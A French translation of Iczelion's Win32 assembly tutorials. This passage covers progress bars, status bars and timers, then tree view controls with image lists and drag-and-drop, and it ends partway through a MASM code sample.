  • PropertySheet
  • ImageList_Create
Pour pouvoir créer ces 'common controls', vous devez connaître leurs noms de classe. Les voici inscrits ci-dessous :
Class Name | Common Control
ToolbarWindow32 | Toolbar
tooltips_class32 | Tooltip
msctls_statusbar32 | Status bar
SysTreeView32 | Tree view
SysListView32 | List view
SysAnimate32 | Animation
SysHeader32 | Header
msctls_hotkey32 | Hot-key
msctls_progress32 | Progress bar
RICHEDIT | Rich edit
msctls_updown32 | Up-down
SysTabControl32 | Tab
Les 'Property sheets', les 'property pages' et l 'image list control' (soit les feuilles de propriété, les pages de propriété, et le contrôle de liste d'image) ont leurs propres fonctions spécifiques de création. La 'Drag list control' gonfle encore la liste donc elle n'a pas sa propre classe. Ces susdits noms de classe sont vérifiés en regardant le scénario de ressource, produit par l'éditeur de ressource Visuel C++. Ils diffèrent des noms de classe inscrits par win32 de la référence Borland api et de ceux de la Programmation Windows de Charles Petzold 95. La liste est précisément celle-ci.
Ces common controls peuvent utiliser les styles généraux de fenêtres tel que WS_CHILD etc. Ils ont aussi leurs propres styles spécifiques comme TVS_XXXXX pour la 'tree view control' (contrôle montrant les fichiers sous forme d'arbre ), LVS_xxxx pour la 'list view control' (contrôle montrant les fichiers sous forme d'une liste ), etc. La référence d' api Win32 sera votre meilleur ami à cet égard.
Maintenant que nous savons comment créer des common controls, nous pouvons nous intéresser à la méthode de communication entre ces common controls et leurs parents. À la différence des 'child window controls', les 'common controls' ne communique pas avec leur parent avec des messages WM_COMMAND. Au lieu de ça, ils envoient des messages WM_NOTIFY à la fenêtre parente lorsque certains événements bien précis arrivent. Le parent peut contrôler les enfants en leur envoyant des messages. Il y a aussi beaucoup de nouveaux messages pour ces nouvelles commandes. Vous devez consulter votre référence api win32 pour plus de détail.
Dans l'exemple suivant, on va examiner la barre de progression et les commandes de barre de statut. ('progress bar' et 'status bar controls')

échantillon de code:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDC_PROGRESS equ 1 ; Les n° d'Identités des 'controls' (par exemple n°ID de la barre de progression)
IDC_STATUS equ 2
IDC_TIMER equ 3

.data
ClassName db "CommonControlWinClass",0
AppName db "Common Control Demo",0
ProgressClass db "msctls_progress32",0 ; La 'class name' de la barre de progression
Message db "Finished!",0
TimerID dd 0

.data?
hInstance HINSTANCE ?
hwndProgress dd ?
hwndStatus dd ?
CurrentStep dd ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR ProgressClass,NULL,\
WS_CHILD+WS_VISIBLE,100,\
200,300,20,hWnd,IDC_PROGRESS,\
hInstance,NULL
mov hwndProgress,eax
mov eax,1000 ; Le paramètre lParam du message PBM_SETRANGE contient la gamme, (en général de 0 à 100)
mov CurrentStep,eax
shl eax,16 ; La haute de la gamme (ici 100) est dans le mot de poids fort
invoke SendMessage,hwndProgress,PBM_SETRANGE,0,eax
invoke SendMessage,hwndProgress,PBM_SETSTEP,10,0
invoke CreateStatusWindow,WS_CHILD+WS_VISIBLE,NULL,hWnd,IDC_STATUS
mov hwndStatus,eax
invoke SetTimer,hWnd,IDC_TIMER,100,NULL ; crée un minuteur (un timer)
mov TimerID,eax
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.if TimerID!=0
invoke KillTimer,hWnd,TimerID
.endif
.elseif uMsg==WM_TIMER ; Quand un 'timer event' survient
invoke SendMessage,hwndProgress,PBM_STEPIT,0,0 ; Remplissage (pas à pas) de la barre de progression.
sub CurrentStep,10
.if CurrentStep==0
invoke KillTimer,hWnd,TimerID
mov TimerID,0
invoke SendMessage,hwndStatus,SB_SETTEXT,0,addr Message
invoke MessageBox,hWnd,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SendMessage,hwndStatus,SB_SETTEXT,0,0
invoke SendMessage,hwndProgress,PBM_SETPOS,0,0
.endif
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analyse:

    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax
    invoke InitCommonControls
J'ai délibérément mis InitCommonControls après ExitProcess pour vous faire voir que InitCommonControls est juste ici pour la mettre en référence comctl32.dll, dans la section d'importation. Comme vous pouvez le voir, les 'common controls' fonctionnent parfaitement même lorsque InitCommonControls n'est pas exécuter.
    .if uMsg==WM_CREATE
    invoke CreateWindowEx,NULL,ADDR ProgressClass,NULL,\
    WS_CHILD+WS_VISIBLE,100,\
    200,300,20,hWnd,IDC_PROGRESS,\
    hInstance,NULL
    mov hwndProgress,eax
Voici l'endroit où nous créons le common control. Notez que cet appel de CreateWindowEx contient la variable 'hWnd' en tant que 'handle de la fenêtre parente'. On spécifie aussi un 'Control ID' pour l'identification de ce contrôle. Cependant, puisque nous avons l' handle du 'control', cet ID n'est pas employé. Tout 'child window control' doit avoir le style WS_CHILD.
    mov eax,1000
    mov CurrentStep,eax
    shl eax,16
    invoke SendMessage,hwndProgress,PBM_SETRANGE,0,eax
    invoke SendMessage,hwndProgress,PBM_SETSTEP,10,0
Après que la barre de progression est été créée, nous pouvons définir sa gamme. La gamme par défaut va de 0 à 100. Si vous n'en êtes pas satisfaits, vous pouvez spécifier votre propre gamme avec le message PBM_SETRANGE. Le message 'lParam' contient la gamme, la gamme maximale (ici 100d ou 64h) est placée dans le mot de poids fort alors que le minimum (0) est dans le mot de poids faible. Vous pouvez spécifier le 'nombre de pas' dont cette barre sera remplie, en employant PBM_SETSTEP. Dans notre exemple, on le met à 10 ce qui signifie que lorsque un message PBM_STEPIT est envoyé à la barre de progression, l'indicateur de progression montera de 10 par 10. Mais vous pouvez aussi définir le niveau de l'indicateur en envoyant des messages PBM_SETPOS. Ce message vous donne un contrôle plus précis sur la barre de progression.
    invoke CreateStatusWindow,WS_CHILD+WS_VISIBLE,NULL,hWnd,IDC_STATUS
    mov hwndStatus,eax
    invoke SetTimer,hWnd,IDC_TIMER,100,NULL ; Crée un timer
    mov TimerID,eax
Ensuite, nous créons une barre de statut en appelant CreateStatusWindow. C'est un appel facile à comprendre donc je ne ferai pas de remarques. Après que la fenêtre de statut ait été créée, nous fabriquons un minuteur. Dans cet exemple, nous mettrons à jour la barre de progrès dans un intervalle régulier de 100ms, donc nous devons créer un contrôle de minuteur (un control timer). Ci-dessous voici le 'prototype de fonction' de SetTimer.
    SetTimer PROTO hWnd:DWORD, TimerID:DWORD, TimeInterval:DWORD, lpTimerProc:DWORD
hWnd : handle de la fenêtre Parente
TimerID : Le n° d'Identité du minuteur (du Timer), différent de zéro. Vous pouvez mettre le n° que vous voulez pour l'identifier. Mais si vous avez plusieurs Timers , chacun doit avoir son propre n° d'ID
TimerInterval : L'intervalle de temps du minuteur, en millisecondes, doit être terminé avant que le minuteur appelle la procédure du minuteur ou envoie un message WM_TIMER
lpTimerProc : L'adresse de la fonction minuteur (la fonction de temps) qui sera appelée lorsque l'intervalle de temps est expiré. Si ce paramètre est NULL, le minuteur enverra le message WM_TIMER à la fenêtre parente, au lieu de cette adresse.

Si cet appel est couronné de succès, il renverra le TimerID. S'il a échoué, il retourne la valeur 0. C'est pourquoi la valeur du TimerID doit absolument être différente de zéro.

    .elseif uMsg==WM_TIMER
    invoke SendMessage,hwndProgress,PBM_STEPIT,0,0
    sub CurrentStep,10
    .if CurrentStep==0
    invoke KillTimer,hWnd,TimerID
    mov TimerID,0
    invoke SendMessage,hwndStatus,SB_SETTEXT,0,addr Message
    invoke MessageBox,hWnd,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
    invoke SendMessage,hwndStatus,SB_SETTEXT,0,0
    invoke SendMessage,hwndProgress,PBM_SETPOS,0,0
    .endif
Quand l'intervalle de temps indiqué expire, le minuteur (le timer) envoie le message WM_TIMER. Vous pourrez placer votre propre code ici pour qu'il soit exécuté. Dans cet exemple, nous mettons à jour la barre de progression et vérifions ensuite si la limite maximale a été atteinte (dépassée). Si c'est le cas, nous fermons le Timer et mettons ensuite le texte dans la fenêtre de statut avec le message SB_SETTEXT. Une boîte de message est affichée, et quand l'utilisateur clique sur OK, nous purifions le texte de la barre de statut ainsi que la barre de progression.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 19: Tree View Control

Tutorial 19: Contrôle 'des dossiers organisés sous la forme d'un arbre'

(Tree View Control)

Dans ce Tutorial, nous allons voir ce qu'est un 'tree view control' (C'est exactement de cette façon là que l'Explorateur Windows nous affiche sous forme d'un arbre tous les dossiers de notre disque dur). De plus, nous apprendrons aussi à construire le mécanisme du 'drag and drop' (glisser-déposer) et comment employer une 'image list' (liste d'image).
Downloadez l'exemple ici.

Théorie:

Un 'tree view control' est une sorte de fenêtre spéciale qui affiche des objets en ordre hiérarchique. Le meilleur exemple c'est la fenêtre de gauche de l'Explorateur de Windows. Vous pouvez employer ce contrôle pour montrer les raccordements entre les différents objets (ici des dossiers).
Vous pouvez créer un 'tree view control' en appelant CreateWindowEx, en lui passant la donnée "SysTreeView32" comme nom de classe ou bien vous pouvez l'incorporer dans une boîte de dialogue. N'oubliez pas de placer un Call InitCommonControls dans votre code.
Il y a plusieurs styles différents de 'tree view control'. Ci-dessous voici les trois plus employés.
    TVS_HASBUTTONS sert à mettre les petits boutons carrés 'plus (+) et moins (-)' à côté des l'Items parentaux (à côté des dossiers par exemple). L'utilisateur clique sur un de ces bouton associés à un dossier parent pour qu'il se déploie et affiche ses sous dossiers ou se recroqueville sur lui-même. Pour pouvoir inclure des boutons au niveau de la racine des Items de l'arbre, on doit également spécifié TVS_LINESATROOT.
    TVS_HASLINES emploie des lignes pour montrer la hiérarchie entre les différents Items.
    TVS_LINESATROOT emploie des lignes pour lier des Items à la racine du 'tree-view control'. Cette valeur est ignorée si TVS_HASLINES n'est pas également spécifié.
Le 'tree view control', comme d'autre common controls, communique avec la fenêtre parente via des messages. La fenêtre parente peut lui envoyer divers messages et le 'tree view control' peut envoyer des messages "d'avis" à sa fenêtre parente. À cet égard, le 'tree view control' n'est pas différent des fenêtres habituelles.
Quand quelque chose d'intéressant lui arrive, il envoie un message WM_NOTIFY à la fenêtre parente en l'accompagnant de l'information.
    WM_NOTIFY
    WParam est le n°d'IDentité du Contrôle (Control ID), on ne garantit pas que cette valeur soit unique donc nous ne
    l'emploierons pas. Au lieu de ça, nous employons hwndFrom ou le membre IDFrom de la structure
    NMHDR pointé par lParam

    LParam est le pointer qui repère la structure NMHDR. Certaines commandes peuvent passer un pointer de plus
    grande taille. Mais il doit avoir une structure NMHDR dans son premier membre.
    C'est-à-dire qu'au moins pour lParam, vous devez être sûrs qu'il indique une structure NMHDR.
Maintenant examinons la structure NMHDR.
    NMHDR struct DWORD
    hwndFrom DWORD ?
    idFrom DWORD ?
    code DWORD ?
    NMHDR ends
HwndFrom est l'handle du contrôle qui envoie ce message WM_NOTIFY.
IdFrom est le contrôle ID du contrôle qui envoie ce message WM_NOTIFY.
Code est le message réel que le contrôle veut envoyer à la fenêtre parente.
Les réponses du 'Tree View' sont celles avec TVN_ au début du nom. Les messages du Tree View sont ceux avec TVM _, tels que TVM_CREATEDRAGIMAGE. Le 'tree view control' envoie TVN_XXXX dans le membre de code du NMHDR. La fenêtre parente peut envoyer TVM_XXXX pour le contrôler.

Ajout d'Item au tree view control

Après que vous l'ayez créé, vous pouvez même rajouter des Item (des articles) au tree view control. Vous pouvez faire ça en employant le message TVM_INSERTITEM.
    TVM_INSERTITEM
    wParam = 0;
    lParam = est le pointeur qui (pointe) sur TV_INSERTSTRUCT;
A ce niveau, on doit connaître quelques petits trucs à propos des Items (articles) du tree view control.
Un Item peut être lui-même parent, enfant (un child) , ou les deux en même temps. Un Item parent est un Item qui a d'autres sous-Items associés qui dépendent de lui. En même temps, cet Item parent peut aussi être l'enfant d'un autre Item. Un Item sans un parent est appelé un Item racine (par exemple : dans l'Explorateur de Windows, l'item 'Windows' est un item parent alors que l'Item 'System' est un de ses items enfant). Il peut y avoir plusieurs d'Items racine dans un 'tree view control'. Maintenant examinons la structure TV_INSERTSTRUCT.
    TV_INSERTSTRUCT STRUCT DWORD
    hParent DWORD ?
    hInsertAfter DWORD ?
    ITEMTYPE <>
    TV_INSERTSTRUCT ENDS
hParent est l'handle de l'Item parent. Si ce membre est la valeur TVI_ROOT ou NULL, l'Item est inséré à la racine du 'tree view control'.
hInsertAfter est l'handle d'un prochain Item, qu'il soit un 'Child Item' ou bien un nouvel 'Item Parent':
  • TVI_FIRST = > Insère un Item au début de la liste.
  • TVI_LAST = > Insère un Item en fin de liste.
  • TVI_SORT = > Insère un Item dans la liste dans l'ordre alphabétique.
    ITEMTYPE UNION
    itemex TVITEMEX <>
    item TVITEM <>
    ITEMTYPE ENDS
Nous emploierons uniquement TV_ITEM ici.
    TV_ITEM STRUCT DWORD
    imask DWORD ?
    hItem DWORD ?
    state DWORD ?
    stateMask DWORD ?
    pszText DWORD ?
    cchTextMax DWORD ?
    iImage DWORD ?
    iSelectedImage DWORD ?
    cChildren DWORD ?
    lParam DWORD ?
    TV_ITEM ENDS
Cette structure est employée pour envoyer et recevoir des renseignements (des messages) d'un Item du Tree View. Par exemple, avec TVM_INSERTITEM, il est employé pour définir l'attribut de l'Item qui doit être inséré dans le tree view control. Avec TVM_GETITEM, on envoie l'information pour choisir le type de Tree View Item.
imask est employé pour spécifier quel(s) membre(s) de la structure TV_ITEM est (sont) valide(s). Par exemple, si la valeur dans Imask est TVIF_TEXT, ça signifie qu'uniquement le membre pszText est valide. Vous pouvez combiner plusieurs flags ensembles.
hItem est l'handle de l'Item du Tree View. Chaque item a son propre handle. Lorsque vous souhaitez manipuler ou utiliser un item, vous devez le choisir grâce à son handle.
pszText est un pointeur qui (pointe) sur une chaîne de caractères terminée par un caractère nul. Cette chaîne de caractères est le label de l'Item du Tree View (Le texte associé à cet Item).
cchTextMax est uniquement employé lorsque vous voulez retrouver le label de l'Item du Tree View. Puisque vous pointer sur le buffer de pszText (on pointe sur la zone mémoire où est écrit le texte), Windows doit connaître la taille de ce buffer. Ce membre (cchTextMax) sert donc à donner la taille du buffer.
iImage et iSelectedImage font référence à l'index d'une 'image list' laquelle contient des images qui doivent être affichées lorsque l'Item n'est pas choisi (iImage) et quand il est choisi (iSelectedImage). Si vous vous souvenez de la fenêtre de gauche de l'Explorateur Windows, les images des dossiers sont contrôlées par ces deux membres.
Afin d'insérer un Item dans un tree view control, vous devez au moins mettre des valeurs dans hParent, hInsertAfter et vous devez remplir imask ainsi que le membre pszText.

Addition d'images à un tree view control :

Si vous souhaitez placer une image à gauche du label (du texte) d'un 'Tree View Item', vous devez créer une 'image list' et l'associer au 'tree view control'. Vous pouvez créer une 'image list' en appelant ImageList_Create.
    ImageList_Create PROTO cx:DWORD, cy:DWORD, flags:DWORD, \
    cInitial:DWORD, cGrow:DWORD
Cette fonction ,si elle se déroule avec succès, renvoie l'handle d'une 'image list' vide.
cx représente la largeur (en pixels) de chaque image dans cet 'image list'.
cy est la hauteur de chaque image (en pixels) de cet 'image list'. Toutes les images de l' 'image list' doivent être égales en taille. Si vous définissez un grand bitmap (image), Windows emploiera cx et cy pour la *découper* en plusieurs morceaux. Donc vous devez préparer votre propre image comme une bande d'images avec des dimensions identiques.
flags détermine le type d'images contenues dans cet 'image list', si elles sont colorées ou monochromes et leur profondeur de colorations (16millions de couleurs ou moins). Consultez votre référence win32 api pour de plus amples détails.
cInitial est le nombre d'images que cet 'image list' contiendra au commencement. Windows emploiera ces renseignements pour réserver de la mémoire pour ces images.
cGrow est le nombre d'images dont l'image list peut être agrandit lorsque le système a besoin de retaillée la liste de départ pour faire place pour de nouvelles images. Ce paramètre représente le nombre de nouvelles images que l'image list agrandit peut contenir.
L' image list n'est pas une fenêtre! C'est seulement une sorte d'entrepos d'images pour que d'autres fenêtres puisse s'en servir.
Après que l'image list soit créé, vous pouvez y ajouter des images en appelant ImageList_Add
    ImageList_Add PROTO himl:DWORD, hbmImage:DWORD, hbmMask:DWORD
Cette fonction renvoie la valeur -1 si elle échoue.
himl est l'handle de l'image list dans laquelle vous souhaitez ajouter d'autres images. Cette la valeur obtenue après le succès d'un appel à ImageList_Create
hbmImage est l'handle de l'image qui doit être rajoutée à l' 'image list'. D'habitude, on stocke les images en tant que ressources et on les charge grâce à l'appel LoadBitmap. Remarquez que vous n'avez pas à spécifier le nombre de morceaux d'images contenues dans cette image (entière) parce que cette information est représentée par les paramètres cx et cy, lesquels sont déduits lors de leur passage dans l'appel ImageList_Create.
hbmMask est l'handle du bitmap (l'image en entier) qui contient le masque. Si aucun masque n'est employé avec l'image list, ce paramètre est ignoré.
Normalement, nous ajoutons seulement deux images à une image list pour les utiliser avec le tree view control : celles-ci sont employées soit quand l'Item du Tree View n'est pas sélectionné soit l'autre quand l'Item est sélectionné.
Quand l' image list est prête, vous l'associez avec le tree view control en envoyant TVM_SETIMAGELIST au tree view control.
    TVM_SETIMAGELIST
    WParam = type d'image list à afficher. Il y a deux choix :
    • TVSIL_NORMAL est le Jeu normal d' image list, qui contient les images choisies et non choisies pour l'Item du Tree View.
    • TVSIL_STATE est le Jeu 'd'état' d' image list, qui contient les images d'Item de Tree View qui sont dans un état défini par l'utilisateur.
    lParam = handle de l' image list

Recherche des renseignements a propos des items d'un tree view.

Vous pouvez retrouver l'information d'un Item du Tree View en envoyant le message TVM_GETITEM.
    TVM_GETITEM
    wParam = 0
    lParam = pointer sur la structure TV_ITEM pour qu'on puisse la remplir avec l'information.
Avant que vous n'envoyiez ce message, vous devez remplir imask avec le flag qui dit quel(s) sorte(s) de TV_ITEM est ce que vous souhaitez que Windows prenne. Et plus important, vous devez remplir hItem avec l'handle de l'Item dont vous voulez avoir l'information. Et ça pose un problème : Comment peut-on connaître l'handle de l'Item dont on souhaite justement retrouver des renseignements? Doit-on stocker tous les handles du Tree View?
La réponse est très simple : faut pas faire ça. On peut utiliser le message TVM_GETNEXTITEM du tree view control pour retrouver l'handle de l'Item dont on a spécifié l'attribut(s). Par exemple, on peut vérifier l'handle du premier Child Item, de l'Item racine, ou de l'Item choisi, et cetera.
    TVM_GETNEXTITEM
    wParam = flag
    lParam = handle d'un Item du Tree View (seulement nécessaire pour certaines valeurs de flag)
La valeur dans wParam est très importante donc je met tous les flags ci-dessous :
    • TVGN_CARET Retrouve l'Item actuellement choisi.
    • TVGN_CHILD Retrouve le premier Child Item appartenant à l'Item indiqué par le paramètre hitem.
    • TVGN_DROPHILITE Retrouve l'Item qui est la cible d'une opération de glisser-déplacer. (Drad and Drop)
    • TVGN_FIRSTVISIBLE Retrouve le premier Item visible.
    • TVGN_NEXT Retrouve le Child Item suivant (de mêmes parents).
    • TVGN_NEXTVISIBLE Retrouve l'Item visible qui suit l'Item indiqué. L'Item indiqué doit être visible. Utilisez le message TVM_GETITEMRECT pour déterminer si un Item est visible.
    • TVGN_PARENT Retrouve le parent de l'Item indiqué.
    • TVGN_PREVIOUS Retrouve le Child Item précédent (de mêmes parents).
    • TVGN_PREVIOUSVISIBLE Retrouve le premier Item visible qui précède l'Item indiqué. L'Item indiqué doit être visible. Employez le message TVM_GETITEMRECT pour déterminer si un Item est visible.
    • TVGN_ROOT Retrouve le topmost (ex: C:) ou le tout premier Item du tree-view control.
Vous pouvez voir que, vous pouvez retrouver l'handle de n'importe quel Item du Tree View en vous intéressant à ces messages. SendMessage renvoie l'handle de l'Item du Tree View si la tache est couronnée de succès. Vous pouvez alors remplir le membre hItem (appartenant à TV_ITEM) avec la valeur de l'handle renvoyé pour ensuite pouvoir l'utiliser avec le message TVM_GETITEM.

Opération Drag and Drop (glisser-déposer) dans un tree view control

Cette partie est la raison pour laquelle j'ai décidé d'écrire ce Tutorial. Quand j'ai essayé de suivre l'exemple de la référence win32 api (le win32.hlp d'InPrise), j'ai vraiment été frustré parce qu'en fait il manque l'information essentielle. D'essais en essais et d'erreurs en erreurs, j'ai fini par comprendre comment utiliser le système de 'Drag and Drap' d'un tree view control et je ne veux pas que d'autres personnes aient à refaire le même chemin de croix que moi.
Ci-dessous voici les étapes pour accomplir une opération Drag&Drop dans un tree view control.
  1. Quand l'utilisateur essaye de déplacer un Item, le tree view control envoie le message TVN_BEGINDRAG à la fenêtre parente. Vous pouvez profiter de cette occasion pour créer une image de traînée qui est l'image qui sera employée pour représenter l'Item quand on le déplace. Vous pouvez envoyer TVM_CREATEDRAGIMAGE au tree view control pour lui dire de créer une 'image de traînée' par défaut de l'image qui est actuellement employée par l'Item que l'on déplace. Le tree view control créera une image list avec uniquement l 'image de traînée' et vous renverra l'handle de cette image list.
  2. Après que l'image de traînée aie été créée, vous définissez le point chaud de l'image de traînée en appelant ImageList_BeginDrag.
      3. ImageList_BeginDrag PROTO himlTrack:DWORD, \
      iTrack:DWORD , \
      dxHotspot:DWORD, \
      dyHotspot:DWORD
      himlTrack est l'handle de l'image list qui contient l'image de traînée.
      iTrack est l'index qui indique l'image de traînée dans l'image list.
      dxHotspot indique la distance relative du point chaud (de l'image de traînée)dans le plan horizontal. Puisque cette image sera employée à la place du curseur de la souris, nous avons donc besoin de définir où se situe le point chaud dans l'image.
      dyHotspot indique la distance relative du point chaud dans le plan vertical.
      Normalement, iTrack sera mis à 0 si vous dites au tree view control de créer une image de traînée à votre place. Et dxHotspot et dyHotspot peuvent être égales à 0 si vous voulez placer le point chaud au niveau du coin supérieur gauche de l'image de traînée.
  3. Quand l'image de traînée est prête à être affichée, nous appelons ImageList_DragEnter pour la faire apparaître dans la fenêtre.
      4. ImageList_DragEnter PROTO hwndLock:DWORD, x:DWORD, y:DWORD
      hwndLock est l'handle de la fenêtre qui affiche l'image de traînée. Cette image n'aura pas la possibilité de se déplacer à l'extérieur de cette fenêtre.
      x et y sont les coordonnées de l'endroit où l'image de traînée doit être affichée au commencement. Remarquez que ces valeurs on pour référence (0;0) le coin supérieur gauche de la fenêtre, et non pas son secteur client.
  4. Maintenant que l'image de traînée est affichée dans la fenêtre, vous devrez maintenir l'opération (DRAG) de traînée dans le tree view control. Cependant, il y a un petit problème ici. Nous devons contrôler le chemin de la traînée avec WM_MOUSEMOVE et l'emplacement où on dépose (DROP) avec le message WM_LBUTTONUP. Cependant, si l'image de traînée appartient à une autre 'Child Windows' (donc pas à notre fenêtre principale [ou parente]), la fenêtre parente ne recevra jamais le message de la souris. La solution est de capturer l'entrée souris avec SetCapture. En employant l'appel, les messages souris seront dirigés vers la fenêtre indiquée indépendamment de l'endroit où se trouve le curseur de la souris (et ici le curseur de la souris vient d'être momentanément remplacé par l'image de traînée).
  5. A l'intérieur de WM_MOUSEMOVE, vous mettrez à jour le chemin de la traînée avec l'appel de ImageList_DragMove. Cette fonction déplace l'image que l'on traîne pendant une opération de glisser-déplacer. En outre, si c'est votre souhait, vous pouvez contrôler l'Item de l'image de traînée en envoyant TVM_HITTEST pour vérifier si l'image de traînée passe au dessus d'un autre Item. Si c'est le cas, vous pouvez envoyer le message TVM_SELECTITEM avec le flag rendu par TVGN_DROPHILITE. Remarquez qu'avant l'envoi du message TVM_SELECTITEM, vous devez d'abord cacher l'image de traînée sinon votre image laissera de vilaines traces en se déplaçant. Vous pouvez cacher l'image de traînée en appelant ImageList_DragShowNolock et, après que l'opération soit finie, appelez ImageList_DragShowNolock de nouveau pour réafficher l'image de traînée.
  6. Quand l'utilisateur relâche le bouton gauche de la souris, vous devez faire plusieurs choses. Si vous perdez le contôle de votre Item, vous deviez le réactiver en envoyant le message TVM_SELECTITEM avec le flag rendu par TVGN_DROPHILITE (pour retrouver l'handle de l'item qui vient de subir le Déplacer-Poser (Drag and Drop)), mais cette fois-ci, lParam DOIT ÊTRE égal à zéro. Si vous n'avez plus le contrôle de votre Item, vous obtiendrez un étrange effet : quand vous choisissez un autre Item, celui-ci sera contenu dans un rectangle mais le contrôle sera toujours sur le dernier Item. Ensuite, vous devez appeler ImageList_DragLeave suivi d' ImageList_EndDrag. Vous devez relâcher la souris en appelant ReleaseCapture. Si vous avez créé une image list, vous devez la détruire en appelant ImageList_Destroy. Après ça, lorsque l'opération de drag and drop est terminée, vous pouvez continuer le déroulement normal de votre programme.

Code sample:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
.const
IDB_TREE equ 4006 ; c'est l'ID de la ressource bitmap (le n° d'Identité de l'image entière)
.data
ClassName db "TreeViewWinClass",0
AppName db "Tree View Demo",0
TreeViewClass db "SysTreeView32",0
Parent db "Parent Item",0
Child1 db "child1",0
Child2 db "child2",0
DragMode dd FALSE ; un flag pour déterminer si nous sommes en mode Drag (traînée)

.data?
hInstance HINSTANCE ?
hwndTreeViewdd ? ; handle du tree view control
hParent dd ? ; handle de l 'Item racine' du Tree View.
hImageList dd ? ; handle de l 'image list' employée dans le 'tree view control'.
hDragImageList dd ? ; handle de l 'image list' où on a l'habitude de stocker l'image de traînée.

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,200,400,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses edi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL tvinsert:TV_INSERTSTRUCT
LOCAL hBitmap:DWORD
LOCAL tvhit:TV_HITTESTINFO
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR TreeViewClass,NULL,\
WS_CHILD+WS_VISIBLE+TVS_HASLINES+TVS_HASBUTTONS+TVS_LINESATROOT,0,\
0,200,400,hWnd,NULL,\
hInstance,NULL ; Crée le 'tree view control'
mov hwndTreeView,eax
invoke ImageList_Create,16,16,ILC_COLOR16,2,10 ; Crée l 'image list' associée.
mov hImageList,eax
invoke LoadBitmap,hInstance,IDB_TREE ; Charge le bitmap ressource (charge l'image).
mov hBitmap,eax
invoke ImageList_Add,hImageList,hBitmap,NULL ; Ajoute le bitmap dans l 'image list'.
invoke DeleteObject,hBitmap ; Supprime ce bitmap pour toujours.
invoke SendMessage,hwndTreeView,TVM_SETIMAGELIST,0,hImageList
mov tvinsert.hParent,NULL
mov tvinsert.hInsertAfter,TVI_ROOT
mov tvinsert.item.imask,TVIF_TEXT+TVIF_IMAGE+TVIF_SELECTEDIMAGE
